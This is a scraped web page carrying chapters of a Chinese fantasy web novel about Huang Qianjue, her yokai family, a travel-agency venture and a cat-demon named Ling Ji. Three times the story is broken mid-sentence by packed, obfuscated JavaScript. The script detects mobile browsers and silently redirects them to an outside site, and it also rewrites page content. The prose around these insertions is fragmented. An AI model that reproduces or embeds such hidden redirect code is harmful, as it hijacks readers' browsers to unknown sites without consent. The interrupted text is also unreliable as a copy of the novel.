正巧,一只小橘猫走路不稳,啪叽一下,四滩成一张猫猫饼。小梅花鹿就拿湿润的鼻尖去拱小橘猫。 小橘猫东歪一下、西歪一下,在小梅花鹿的帮助下费力地爬了起来。貌似小梅花鹿用力过头,小橘猫又啪叽一声,摔得晕头转向。 小梅花鹿心虚地左顾右盼,目光触及黄千玦,像只鹌鹑一样,小蹄子捂住眼睛。 黄千玦不由自主地坐到小梅花鹿和小猫观察区的外边,起伏跌宕的心绪渐渐平静,目光柔软,安静专注,只暗暗希望,躺在急诊室的那只猫崽能撑下来。 约莫两个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“恢复得很不错呢。”前台的那个小护士来查房,想揉一揉凌霁的脑袋,他不动声色地避过。 小护士长吁短叹,又是这样,这只小猫崽防人心还蛮重的。 她眼珠一转,看向付修义,水笔敲了敲写字板,“老付,你怎么在这?” 付修义:“这只小猫怪可怜的,我想收养这只小猫崽,来跟他培养培养感情,好领回家。” 黄千玦终于要走了,他也该找个法子,把凌霁带出医院。 小护士笑道:“那你来晚了。小猫刚出手术室,千玦就来找我,小猫的手术费她负责。如果没找到主人的话,她愿意收养小猫。” “她还跟我聊了很多,让我推荐一些好用的小猫用品呢!” “还有绝育!她跟我说,小猫看着应该有三个月大了,也该绝育了,拜托我问一下王医生,小猫这种情况能不能绝育?” “!!!” 付修义、凌霁面面相觑。 凌霁瞪圆了眼睛,五味杂陈,不可置信。他难道真的要卖身去跟黄千玦当宠物? 付修义搔搔头发,焦头烂额。黄千玦就不是一个会轻易松口的人! “……能不能给我……走个后门?”付修义面红耳臊。 小护士一脸“你在开什么玩笑”地看着付修义,指了指外边亮着红光的监控,绷着张脸,甩上门。 门又被打开。 进来的不是小护士,而是王医生。 她表情了然,“看来都知道了吧。怎么办?” “需要我配合吗?” “要不小王开个恶疾报告,你假死脱身,就让她当这段时间是个美好的回忆?”付修义提议。 “她真的会要求开膛破腹查真相的。我不想肚子上缝道疤。” 王医生抱臂,靠在一旁,饶有趣味地摸着下巴,这几天她可看足了好戏。 她几乎每天都跟黄千玦、凌霁同屋相处,自然清楚黄千玦和凌霁怎么相处的,而老付找着机会就跟她唉声叹气,诉说心事。 她七七八八地拼凑明白大致的故事了。 想着凌霁同黄千玦、谢辞三人在餐桌上的复杂情感纠葛,又听着眼前二人的一说一否,她这是误入了什么霸道总裁的落跑娇妻的小说吗? 哦,凌霁是那朵娇花。 12. 紧锣密鼓 黄千玦抱着航空箱,先行下车,黄成绕到后备箱拿行李。 云弦、出阳一见着黄千玦从车里探出头来,就急匆匆地你追我赶往前扑,没料到先对上一双浅色瞳眸。 啪叽! 狐狸脸狠狠怼上金属铁门,尖嘴筒子印上方正的红痕,疼得嗷呜叫唤。 云弦落后一步,乌黑眼珠一转,顺势踩着出阳的背,一溜烟地爬上航空箱顶部,往前一扑,喜滋滋地滑进她怀里。 “欢迎姐姐回家!我好想你,就像喜欢小鸡仔一样想你!” 黄千玦拿脸蹭了蹭云弦毛茸茸的脸蛋,鼻头湿润,毛发间带着椒盐的咸香和外酥里嫩的鸡肉香。 “我看你是很喜欢吃小鸡仔吧。”她一面打趣,一面揪住出阳的后脖颈,放到航空箱顶部。 她一抱三,轻轻松松,“爸爸,我来拿一个行李箱吧。” “我来吧,身上抱着三活宝,怪累的。”胡三婶出言制止,吃完手上捏着的最后一块鸡块,便拍拍手,抖落碎渣,从黄成手里抢过另一个行李箱。 黄云霄则笑眯眯地领着父女俩进屋,那天一结束,黄成就立刻给她打电话报告好消息,她一直乐得合不拢嘴。就连云弦周末赖床,她都能温温柔柔地抚摸云弦脑袋,劝她多睡会儿。 吓得云弦立刻蹿下床,不敢多睡。 两天前,黄成打电话说他们今天回来,她便琢磨着要做一顿拿手的丰盛大餐,好好犒劳犒劳他们。 胡三婶自然闻着味儿就过来了,帮着打下手,时不时偷掐几块鸡块,囫囵塞进嘴里。 待在航空箱里的凌霁则显得极为格格不入,半张脸埋在毛茸茸的爪子里,整只妖怪缩在最里边,一动不动,一声也不吭,像是因为伤病虚弱,或是沦为宠物而怏怏不乐。 但凑近看,却发现他眼睛透着沉思,沉浸在自己的世界。 他不是逆来顺受、乖乖听话的性子。他们为什么偏偏默认,他是黄千玦的宠物,必须要经过黄千玦的许可? 他既不打算听付修义的假死逃跑计划,也不打算要王医生做假证。 他要跑,向来不需要别人的允许。 白日,他拜托王医生给他笼子留道口子。 当晚,夜深人静。 他将付修义替他垫付的新手机塞进针织包里,他的旧手机打斗中坏了,就要跳出窗户。 得亏病房在一楼,若是在五楼,以他现在这副虚弱状态,连人形都维持不了,免不了要在医院多躺上一个多月。 肉垫搭在虚虚合上的玻璃窗户上,往外一推,玻璃上便留下一个轮廓清晰的爪印,外边的夜风往里倒灌。 “叮!” 手机突然响了。 凌霁耳朵一抖,但没停下,拖着伤腿笨拙地翻下窗户,一瘸一拐地窜进灌木丛里。 夜色里,他的银色毛发亮得扎眼,像是午夜寂静时刻,一个轱辘轱辘滚动的足球,窸窸窣窣地碾过灌木丛。 巡班护士无意间地一瞥,吓得失语。 周围安静无声,无人经过。 凌霁这才从背上背着的针织包里掏出手机。 扫了一眼对方发来的消息。 他亮出爪子,爪尖飞速地敲击手机屏幕,带着发泄的情绪,咔咔作响,敲下一长串的怒骂词汇。 才解决完逢月的事情,他的假期甚至还没开始,又要赶他去给人明面当宠物,背地里工作,身兼双职位。 这种人还能活到现在,真亏了现代是一个文明社会,禁止暴力。 但不等凌霁按下最后的发送键,对方又发来一句:你接下来一年的冰淇淋,我都包了。 凌霁面无表情,他会是那么好说话的人吗? 凌霁删掉先前的骂人词汇,爪尖矜持地敲字:就这?区区冰淇淋,我又不是买不起。 对方:三年,豪华全家桶,任吃。 凌霁:……下不为例。还有,你下次能不能早点说? 他都已经爬出来了。凌霁望望星光闪烁的深邃夜空,后腿隐隐发痛。 对方:我一向很准时(微笑.jpg) 凌霁:……好生气。 等巡逻护士结束巡查,凌霁又哼哧哼哧地拖着伤腿,费力地翻过窗户,爬回自己暂时的窝,等待明天的到来。 不过,如果他要去黄千玦家里工作,时间可长可短,那三年豪华全家桶冰淇淋什么时候兑现? *** 傍晚,前厅。 云弦凑到航空箱前,嘴里“嘬嘬嘬”地叫。 “它是猫,你要‘喵喵喵’,它才会回应的。”说着,出阳自己凑上前去,跟云弦挤成一堆,“喵喵”地叫。 凌霁像看傻子一样,任由两只小妖怪喵喵长,喵喵短,叫得嗓子发哑,愣是一声不吭。 “姐姐,它是不是呆在里面不开心啊?都没怎么动,我想放它出来。”云弦瞅见姐姐端着碗筷过来,眼巴巴地问道。 黄千玦眉心微微蹙起,在景区里小猫崽不说十分活泼,毕竟身上有伤,但也乖巧可爱,能蹭人,能撒娇。 她把碗筷放到茶几上,随意地拍了几下地面,便同云弦、出阳坐到一起,打开航空箱,捞起小猫崽抱在怀里。 挠了挠他的下巴,短促地叫了一声:“喵。” 凌霁也不回应,枕着黄千玦的手臂,眼睛一眯,甚至极为闲适自在地翻了个身。 在病房里,只有他们两只妖怪,他豁出去也就算了,没别的人知道。但在黄千玦家里,知道的人可就多了,要是以后传出去他学猫叫,他还要不要做妖了。 黄千玦悻悻地挠了挠鼻子。 但凌霁的拒绝非但没有抹杀云弦、出阳的热情,他们反而更加来劲了,一左一右,凑在凌霁耳边,喵喵直叫。 吵得凌霁耳朵嗡嗡响。 黄成、黄云霄听见前厅传来的连声喵叫,从厨房里疑惑探出,见着云弦、出阳学喵叫,乐此不疲,无奈地摇摇头,又钻回去。 胡三婶则老神在在地吃炸鸡块,实在分不出一点心神给那两个小调皮鬼。 云弦、出阳玩得累极了,才停下来,跑回厨房,扒拉几口自己碗里的饭肉,吃了几分饱,又跑出来,单方面找凌霁玩。 家里来了一只小猫崽,他们终于不是最小的了! 黄千玦任由他们玩闹,云弦、出阳调皮,但不是不知道轻重的孩子。 她吃完晚饭,就回到自己屋子,检查核对过去一周的调研工作,以及制定实行方案。 直到黄云霄过来敲门,叫她下去放松放松,她才揉了揉眼睛,又下楼去。 黄云霄打开窗户,夜风沁凉,钻入屋内。 她坐回沙发上,拉过黄千玦的手,手心温暖,轻轻捏着她的指腹,“该休息的时候,我们就休息;该工作的时候,我们就认真工作。不要把自己累垮。” “我会的,妈妈。我现在不就出来了。”黄千玦靠在她的肩头,眼睛眯起,像是偷腥的猫咪。 明明她比黄云霄还要高出半个头,却无比依恋。 “妈妈,我走之前,让你帮我办的事,怎么样?”黄千玦忽地问道。 “嗯?!!不才说了不谈工作?”黄云霄挑眉。 “最后一次!”她双手合掌,面上带着她这个年纪该有的天真娇憨,恳求道。 “就等审核了,大概半个月的时间。按千玦你提供的文件,审核应该也没什么大问题的。” “妈妈的功劳也很大的。” 黄云霄拍了拍她的手背。 这边母女俩刚谈完,云弦、出阳又抱着小猫崽,噔噔噔地跑过来,像是见到了什么不可思议的事情。 云弦道:“妈妈、姐姐,我发现了一件很奇怪的事情……” “他不会舔毛!”出阳抢在云弦前头说道。 云弦气得跺脚,但无可奈何,继续说道:“真的!我出生四五个月都会自己舔毛了,他都这么大了,还不会!这要怎么办啊?要是以后我们带他出去玩,见着其他会舔毛的猫咪,他会不会自卑?” 凌霁:……我洗澡,不舔毛。 “你们可以教他啊。”黄千玦提建议,“总会有第一次尝试的。” 出阳眼睛倏地一亮,立刻慢动作舔了舔爪子上的毛,光滑润泽,连续重复三次,边做,边期待地看着凌霁。 自信满满地把爪子凑上去,“你看!要做到像我这样子!你肯定可以的。试试看?” 凌霁侧过头,不试! 他的嘴是用来吃冰淇淋的,不是用来舔毛的。 “他还是不会。”云弦摇头。 出阳露出困惑的表情,这很难模仿嘛? 胡三婶正巧叼着鸡腿路过,啧啧摇头,“这年头,连毛都不会舔,他见过老鼠吗?” 出阳挡在凌霁前面,“没事!在你学会前,我会帮你舔的,不会让你在别人面前抬不起头的。” 凌霁眼睛猛地瞪圆,满眼不可置信。 在狐狸嘴筒子凑上之前,凌霁急得当场随口舔了几下,毛发刺啦炸起,像被闪电击过一样。 但好歹出阳不想着替他舔毛了。 “我的教学还是很不错的。”出阳沾沾自喜。 凌霁心累。 新来的小猫崽几乎占据了云弦、出阳的全部心神,而黄千玦的建议则让他们好为妖师的小心思迅速膨胀,每天想着要教给小猫什么新东西,让他在猫咪里称王称霸。 凌霁躲都来不及。 黄千玦也空出时间,能够专心致志地同父母一起修改完善旅游项目,必要时出差到天元山景区,请专业团队拍摄宣传照片、设计海报。 期间,朱千的父母过来,同黄成、黄云霄商量,想要买下他们的旅行社。但被夫妻俩厉声拒绝,赶出门去。 黄千玦本以为朱千会同父母诉苦告状,但一直没有。 但即便来了,她也不怕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607672|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间如白马疾驰,一切准备工作尘埃落定,正式进入宣发时期。 妖怪学校。 午饭过后,云弦软绵绵地趴在桌子上,两眼迷瞪瞪,随时要昏睡过去。 “砰!” 响声骤起,惊得云弦原地跳起,眼睛瞪得铜铃大。 回过神来,看清楚来人,她抱怨道:“怎么啦?小绵,你怎么一惊一乍的?我都快睡着啦。” 出阳则早早趴在桌上,熟睡过去,哈喇子直流,刚才那声巨响都没把他吵醒。 云弦中午不爱回家吃饭,因为这会让她中午少睡一段时间,这对于一个爱睡觉的孩子来说,是极为痛苦的。 妈妈就替她交了钱,由她在学校吃午饭。 而小绵,她的朋友,一只白色小兔子,极其恋家,一年三百六十五天,那么就有三百六十五天是在家里和父母吃饭的。 小绵长耳朵倏地垂下,捂住嘴,先向周边被吵醒的同学鞠躬,小声道歉。 而后拉着云弦,蹦到外边去。 中午的光线明亮灼热,斜射进走廊,走廊浮动着刺眼的白金色微粒,好似步入了烟尘滚滚的沙漠。 云弦眯着眼睛,打着哈欠,昏昏欲睡,漫不经心地看着小绵激动地比划,她结结巴巴的,说不出一句完整的话。 忽地。 “你再说一遍!”云弦急切地逼问。 “你爸爸妈妈,新推出的那个白骨夫人的旅游,我也可以参加!”她终于完整地说出来。 “我要和爸爸妈妈一起去!”小绵欢呼,原地绕圈,蹦蹦跳跳。 根据妖怪法,未化形的小妖怪去到人类世界,需要监护人陪同,但监护人身份申请本身就极为严苛,更别说是商业行为的申请! 之前爸爸能带她和出阳一起玩,钻的就是家庭关系监护人申请的空子。 云弦的胸腔里充盈着前所未有的狂喜、激动和骄傲。 她突然想起,前不久,她好奇地问姐姐,姐姐在忙的旅游项目是什么样的呢?她想早点见识见识。 姐姐笑而不语,只伸出食指点了点她的鼻尖,说,你很快就会知道啦,惊喜提前说了,就不算惊喜了。 云弦嘴角咧的笑容,像春日里开得最灿烂的那朵花儿,身子像麻花卷一样扭来扭去,连小绵什么时候定定地看着她都不知道。 她颇为害羞地站直,补充道:“还有我姐姐。” 小绵一愣,摸不着头脑。 “功劳我姐姐最大!” “是是是!”小绵配合地捧场,撒花。 *** 黄千玦伸了伸懒腰,躺进柔软舒服的沙发里,又给自己倒了杯清水,端着水杯慢慢啜饮。 屋外,橘黄色霞光的边缘晕染着模糊的黑色,亮色的俏月牙爬上天空。 鼻尖飘着浓郁的汗酸味,混着被浸染浑浊的茶香。指尖在沙发上一撮,抓起一把各色的绒毛、羽毛。 黄千玦无奈地笑笑,又揉了一把酸痛的腰,同样的日子还要坚持大半个月,日子真是有盼头啊! 她忽地拍拍手,招呼刚进来的凌霁。 凌霁神情恍惚,跌跌撞撞地扑进她怀里。他腹部的绷带已经拆了,长出浅浅的一层绒毛,此时,他的毛发高低起伏,黯淡无光,一副惨遭蹂躏的样子。 今天吸引来了很多客人,有的见着可爱貌美的猫咪,就追着凌霁狂薅,她力有不逮,加之他身上有伤,被得逞过几次。 她手指插入他的毛发,一面顺着他的绒毛,一面道歉:“对不起,今天让你遭了大难。明天你就待在房间里,我给你备好好吃好喝,舒舒服服的。” 凌霁安静地趴在她腿上,心里暗暗想到,他能想到的美食只有各种口味的雪糕冰淇淋,而不是各种肉糜、罐头、猫薄荷等等。 他的气息顿时萎靡下去。 钓着他的十年无限豪华冰淇淋全家桶遥遥无期。 约莫十分钟左右,门外响起叫喊声,“黄成的外卖!” “来了!”黄千玦拍了拍他背,催他下去,自己小跑到外边,拎回一袋子外卖,径直进入厨房。 妈妈手臂撑着脸,半张脸藏在阴影里,睡过去了。 黄千玦拆开外卖,倒进盘子,端上餐桌,同黄云霄一般,撑着脸,等黄成和云弦,却迷迷糊糊睡去。 家里客人多,云弦下午放学,直接和出阳回胡三婶家,等黄成来接。 即便云弦有多兴奋,有多想表达自己对姐姐满满的爱,那也要学会等待,在等待里慢慢品味,由其发酵出醇厚悠长的酒香。 凌霁待在外边,迟迟没等到黄千玦,蹿下沙发,进入厨房,却看见黄千玦趴在桌上,嘴角噙着笑,沉沉睡去,他犹豫片刻,绕着黄千玦的椅子转了两圈,最后蜷着身子,趴在她脚边,眼睛半眯,耳朵却机警地立着。 厨房米黄灯光如融化的蜂蜜一般,给厨房的人、物镀上一层温柔的釉色,透着淡淡的甘甜气息。 13. 又生风波+出发 连续半个月的时间,黄千玦一直忙忙碌碌,她几乎没有精力放到云弦他们身上。 但现在事情告一段落,明天又是周末,黄千玦转了一圈指尖夹着的水笔,正好,澄湖背山,水质清透,树荫照影,是妖怪们都爱的野餐露营好地方。 将水笔压在桌上,视线一抬,对上背对着她的肥嘟嘟、毛茸茸的背影,正有一下没一下地舔着身上的毛,她哭笑不得。 云弦、出阳爱玩爱闹,但晓得姐姐要忙正事,不能陪他们玩,东摸一条鱼、西摸一条鱼,艰难写完作业,就左右夹击,围堵凌霁,教喵叫、教舔毛、陪复健,在家里上蹿下跳,闹得鸡飞狗跳。 黄千玦不清楚凌霁这段时间具体是怎么熬过来的,但比起最开始宁死不屈、坚决不舔毛的样子,再到忍辱负重地乱舔,他如今已经能自顾自地打理,勉强可以说是有模有样了。 她有些心疼地捞过凌霁,却又玩心大起,胡乱地揉他的毛发,刚舔顺的毛发又蓬松炸开,整只猫顿时又大了一圈。 眼尾染上浅浅的笑意。 说来也奇怪,这只猫崽看着肥乎乎、圆滚滚,但实际上手摸了,才发现他精瘦,肌肉线条流畅。 她更加笃定,他不是家养猫,家养猫圆润亲人,透着股不知世事的懵懂,他更为野性不驯、警惕心强。 但也不像流浪猫,它们往往柴瘦,有上顿没下顿,或是另一种极端,不健康肥胖,但见着食物,都埋头狂吃,死命塞进肚子。他反倒爱搭不理,极为挑食,咬几口填一下肚子就算了。 肉垫也较一般猫咪更为粗大,尾巴有他身子一般长,当时黄千玦怀疑他是否受伤或是有基因病,但一通检查下来,除了最开始的伤痛,他身上没有其他病。 想着,黄千玦捏了一下他的后腿根,像她想的一样,肌肉线条流畅有力。 但他却像见了鬼似的,浑身僵硬,尾巴炸毛,下一秒就蹦到桌上,连身形都来不及稳住,就连滚带爬地滚回自己的窝,背对着她,面对着墙壁。 黄千玦底气虚,反驳道:“只是碰了一下而已。” 他一声不吭,背对着黄千玦,窝窝囊囊地生着闷气。 黄千玦自知理亏,不再打扰。 他的窝在房间的东北角,离她的床最远,黄千玦本打算放在床边,若是有什么情况,她也能及时处理。 可一把窝放到床边,当她转过身忙其他的事,他立刻撒着腿,把窝推到角落。睡觉时,背对着她。 来回挪窝两三次后,发现他更乐意睡着角落,黄千玦不再挪动他的窝。 隔日一早,天蒙蒙亮,小鸟枝头鸣啾。 黄千玦轻手轻脚地起床洗漱,凌霁仍缩成一团,趴在窝里,腹部一起一伏,安然酣睡。 但在黄千玦合上门后,凌霁的耳朵微微一抖,迅速起身,迈着腿,跳上窗台,耐心地等待。 很快,黄千玦就从前厅出来,出现在他的视线范围内,长发微乱,披在身后,步伐不疾不徐。 她打开院子的铁门,冷风裹着晨间的空气灌入前厅 等前厅闷浊凝滞的气息一扫而空,黄千玦才折返。 凌霁则踮起爪尖,灵活熟练地拧下门闩,留出一道能容自己通过的缝隙,便趴在窗边,吹着早晨冷风,安稳地假寐。 若是一楼有什么意外发生,他也能及时下去帮助。 黄千玦径直去厨房,从冰箱里拿出冷冻的早餐加热,准备早饭。 黄成、黄云霄夫妻俩周末出差,前往天元山景区。家中只留黄千玦一人管理点绿旅行社和云弦。 因为小妖怪前往人类世界旅游前所未有,付修义为人慎重,反复斟酌。 他们景区主要面向人类,小妖怪不同于化形的妖怪,如何平衡人类与妖怪之间的问题迫在眉睫,故此他再次邀请黄千玦一方进一步洽谈,做好万全准备。 黄千玦对此早有准备,备好详细方案和衍生问题的解决方案,但夫妻俩念着黄千玦这段时间忙里忙外,没有时间好好休息,便主动请缨,同付修义协商。 黄千玦晃着双腿,脚踝纤细,她细细倾听前厅的复古时钟滴滴答答地摇摆,心绪宁静。 如今最难闯的关已经被他们闯过,接下里只需要按部就班地完成就好。 希望一切顺利。 时间慢慢流逝,灿亮的日光扫去阴霾,屋内铺上一层浅金色微光,亮堂温暖。 约八点三十分,点绿旅行社迎来第一位员工,脚步声从院子外边进来,摸到厨房边,探出一张带笑的圆润脸蛋。 “千玦,我来了。” 因为业务繁忙,以及为尽可能做好假期旅游项目,黄千玦决定招募六到七名的员工,但综合考虑,实际招募九名。 最早到旅行社的陈浓便是其中之一,她这周恰好轮班轮到周末。 “早饭吃了吗?没吃的话,赶紧过来吃早饭吧。”黄千玦笑着向她招手。 陈浓笑嘻嘻道:“就等着你这句话呢!我不客气了。” 她个子矮,身形微胖,脸上洋溢青春朝气。 云弦迷瞪瞪,脚步虚浮地飘下楼,尾巴蔫巴巴地拖在身后。 黄千玦正对楼梯口,稳稳抱住云弦,调侃道:“小懒猪,今天居然赶在太阳前头起床了!” 没成想,云弦一听见这话,彻底清醒,在她怀里呜呜咽咽地装哭,“不想起床!不想考试!期末考试烦死了!出阳那个坏家伙,刚刚才发消息给我炫耀,他已经爬起来学了一个小时,问我怎么样?我吓得立马滚下床,学习不带这样子内卷的。” 装着装着,倒真有几滴眼泪挂在眼角里,可怜兮兮的。 这可不是内卷,这是不学习迟来的报应。 黄千玦哭笑不得,但顾及云弦的小玻璃心,没把实话说出口。 这段时间她忙昏了头,专注着暑假旅游,反倒忘了家里这个正经的小学生也该准备期末考试了。 她摸了摸云弦的脑袋,道:“哪里疼,我给你揉揉。如果有不会的话,姐姐还可以再给你补补。” 她翻过云弦的课本,除妖怪术法外,其他科目与人类小学无异。术法老师曾夸她天赋过人,可惜忙于工作,她暂且将其搁置,正好趁教云弦的时候,巩固学习。 不过这么一来,野餐露营计划不得不搁置,另找时间。 她遗憾地叹气。 *** 小型会议室。 细若蝇蚊的哗声钻过厚重的防盗门,飘进她的耳朵。 黄千玦指尖屈起,轻叩桌面,声音清脆,脖子微微斜倾,眼皮半敛,纤长的睫毛在眼睑处投下蒲扇似的阴影,表情略显阴翳。 哒。哒。哒。 每一声都敲在两个小家伙的心尖,颤巍巍的。他们忐忑地盯着黄千玦的表情变化,生怕黄千玦嫌弃他们太笨,一直听不懂。 黄千玦回过头一愣,心生懊恼,她一直暗里告诫自己,少把在临城黄家的那一套带过来,但很多时候,自小养成的冷漠本能,不是一时半会儿就能改掉的。 她软下心肠,首先道歉:“抱歉,不是因为你们俩,你们学得挺不错的,但我现在需要出去解决一些事情,你们自己在里面学习,学好了,我带你们出去玩玩。” 说着,她安抚性地揉了揉他们的脑袋,随即,走出门去,确认防盗门关好,不会有一丁点儿声音传入,她才放心往前厅去。 “你好,我是这里的负责人,请问你是遇到什么问题了吗?” 她笑容不卑不亢,手腕使力,硬生生地将攥紧陈浓手臂的大手压下。 “哼!总算来了一个能管事的,我要告你们欺诈消费者,虚假宣传,还不给退钱。” 见黄千玦的力气蛮横,来人眼神飘忽,强撑着一副凶样,怒斥道。 黄千玦扫了一眼前台的陈浓和另一名员工向雪。 陈浓坚韧,挡在向雪身前,向雪眼眶红肿,含着泪水,捂着手腕。 她侧身,身量高挑,扫视一圈前厅,尽收眼底。 大概十几名客户散在四周,手里攥着宣传手册,或直接围观,或暗地觑眼。 她压下心底的烦闷,嘴角噙着笑,笑容浅浅,挑不出错处,问道:“来者是客,我们自当好好招待,但如果客人对于我们的服务有任何疑问,我们也会诚挚回答。” “您说我们虚假宣传,不知道我们哪一个环节让您产生这种想法?我们可以向您保证,我们最新推出的旅游项目和提供的服务都如宣传海报上所写的一模一样,绝对属实。” “商人的嘴皮子都利索,当然能把死的说成活的,我只不过是一个普通人,哪说的过你们!” “你这话说得可就错了,大家都是一个镇上的,彼此都了解,自然知道我们点绿旅行社这么多年做的都是小本生意,一年忙到头,挣点养家糊口费。” 黄千玦见招拆招。 “一个镇上的?那可未必吧。谁不知道你黄千玦两个月前才回来,你个年纪轻轻的小毛孩,你能懂多少事?两个月前,点绿旅行社才半死不活,黄家夫妻都欠钱欠得想闭门关店,怎么就突然搭上白骨夫人?又能开出新旅游团了?这么短的时间,想想都不可能吧!该不是你们搞的噱头吧!把人骗进去宰!” 他转过身,面对着其他顾客,夸张地扬了扬手,神态鄙弃质疑。 黄千玦眉梢突然扬起,眼尾微勾,眼睛藏着几分玩味,狐狸尾巴露出来了。 她非但不慌,反倒不慌不忙地理了理自己的袖口,慢条斯理道:“所以你的意思就是认为我们拿着白骨夫人的噱头开旅游团,实际上只是想着宰客?” 声音如山涧清泉汩汩流淌,清脆悦耳。 “没错!”他重重点头,见黄千玦吓得只能附和他说的话,洋洋得意。 男人见黄千玦忽然背过身去,想必对方一定是害怕极了,嘴角扬起胜券在握的笑容,彷佛看见双倍佣金向他招手。 群众渐渐聚拢,围着两人,绕成半圆,窃窃私语。 黄千玦笑吟吟地转过身,一手托举笔记本电脑,尽可能让更多的人清楚看见,电脑屏幕泛着浅蓝色光,显示着人社局的官方网站。 “首先,人社局四年前在线上网站公开了妖怪入职部分人类国家机构的名单,白骨夫人在这个名单的第五页十八行,入职单位天元山自然风景区。” “需要我现场帮您念出来吗?” 围观人群顿时炸开锅。 “其次,天元山自然风景区一直以来都同我们妖怪有着密切的合作,每年若有相关合作活动,都会发布在他们的官方公众号上。” “正好我现场帮您搜索。” 黄千玦五指如小鸟轻盈跳跃,随着按下enter键,天元山自然景区官方公众号下面,赫然显示着最新一条合作消息。 男人脸色开始发青。 “再者,我们此行去的就是天元山景区,幅员辽阔,壮美非凡,根据我们提供的价格,大家就算单单去趟天元山景区也是十分优惠的。” “欢迎大家参加我们的旅游团哟~” 黄千玦笑吟吟地看着男人,表情无比诚恳,“请问还有什么问题吗?” 男人面色煞白,黄千玦的笑容更像是无情的嘲笑,甚至她压根没将他放在眼里,谁来砸场都是一样的。她不在乎,因为她都能够解决。 他环视一圈,其余人皆鄙薄厌弃地看着他,忙不迭地捂着脸,狼狈逃窜。 “大家还有什么顾虑吗?如果之前已经付了定金的顾客,了解完我们的旅游项目,仍有不太满意的,我们可以当场退定金。” 黄千玦给足诚意。 凌霁静静地趴在楼梯间拐角,几乎没有人能注意到这团银色的毛球。 等事情终了,凌霁又悄无声息地摸回房间。 *** 黄千玦陷在前厅的沙发上,又给自己倒了一杯水,小口啜饮。 眼见又一名顾客走过来询问,她连忙放下纸杯,拿纸巾擦了擦唇角,重新挂上无懈可击的笑容,耐心回复。 陈浓强压下眼中的惊慌与焦急,指尖却不自觉地抠挖着手心,等黄千玦回复完,她才快步上前,附在她耳边低语,声音颤抖,语速急促。 黄千玦听完,神色不变,嘴角含着笑,轻轻地拍了拍她的手背,让她不要多想,先专心工作,一切交由她处理。 黄千玦的声音像是温过的米酒,醇厚而又令人安心陶醉,奇迹般地抚平陈浓焦躁不安的心, 送走陈浓后,黄千玦忽然意识到,为什么妈妈喜欢拍拍人的手背,有时候指尖相触碰,会传递给对方某种温柔坚定的力量。 妈妈指尖的温暖触感似乎还停留在她的手背。 黄千玦婉言告辞众人,快步走回自己房间,打开电脑,指尖在键盘间飞速跳跃,一篇文辞优美又不失简约流畅的文章就出现在她手下。 登上微信,将文章发给新雇佣的运营专员,由他修改设计版面,发布在点绿旅行社的官方平台。 做完一切,她疲惫地仰靠在椅背上,余光一瞥,凌霁正睁着大眼睛,湖绿色瞳眸闪着莫名的微光,一眨不眨地盯着她,似乎没料到突然对上黄千玦的眼睛,又慌又忙地转过身去,自己罚自己面壁。 黄千玦忽地勾起一抹笑,扑了过去,在凌霁炸毛的瞬间,一把搂住他,滚到床上,陷在柔软的被窝里。 她现在累得很,才不要在乎一只猫咪怎么想呢! 凌霁惊慌失措,肉垫里弹出利爪,扑腾着身子就要往外钻,但黄千玦双手环抱,箍得极紧,他不是不能挣脱,但黄千玦不会放手,势必会伤到她。 他颤巍巍地小心收回爪子,努力缩成一团,尽可能不碰到黄千玦。 但他耳间是她热烈的心脏跳动、平缓有规律的呼吸声,鼻间是她的发丝清爽绵长的栀子花香。 他现在整只妖怪像一只熟透的大虾,尾巴慌乱地拍打着棉被,多亏有厚实蓬乱的毛发替他遮掩一二。 他发誓,他以后再也不要为了冰淇淋,就随随便便应下这种把自己给卖了的任务。 真的太近了! 闭眼浅眠大概有十分钟,黄千玦翻身起床,头发毛躁地披在身后,初睁眼,眼睛迷瞪,像是今早云弦起床一般迷迷糊糊,好一会儿她才缓过来。 她偏头看了眼闹钟,时针指向四点五十分。 很好,再躺五分钟,直接熬到下班吧。 黄千玦任性地做完决定,抱着仍旧愣着的凌霁,重新躺回床上。但这回她没有继续补觉,脑子里思索着等会儿该如何妥善处理陈浓和向雪。 四点五十五分像是驱策骏马,疾驰而至,背上却带着一筐糜烂的樱桃泥。 黄千玦难得懒绵绵地爬起床,踩进鞋子里,抱着凌霁下楼。陈浓、向雪二妖,紧张地盯着她,前厅里的客人已经走光了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617345|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她将凌霁往上托了托,指尖无意间划过他腹部突起的小点,他浑身僵硬,像是块硬石头。 黄千玦却无暇顾及,挂上沉稳的笑容,挺起腰板,显得专业又自信,笑问道:“怎么了?还没走吗?太喜欢工作了,想要留下来加班?” 陈浓、向雪齐呼:“不要加班!” 黄千玦大笑。 陈浓被打趣过后,心里轻松许多,道:“千玦,我之前和你说过的......线下支付定金的顾客没有太大的变化,但线上却有很多的客户取消订单了。” “我去网上搜了搜,有很多抹黑我们的,我看着他们发布的推文,像是有组织的,有密谋的。” 黄千玦点点头:“可以理解,既然对方线下敢派人过来诋毁抹黑我们,线上运营渠道又怎么可能不来泼黑水呢?只不过线下来的这个实在太低级。” 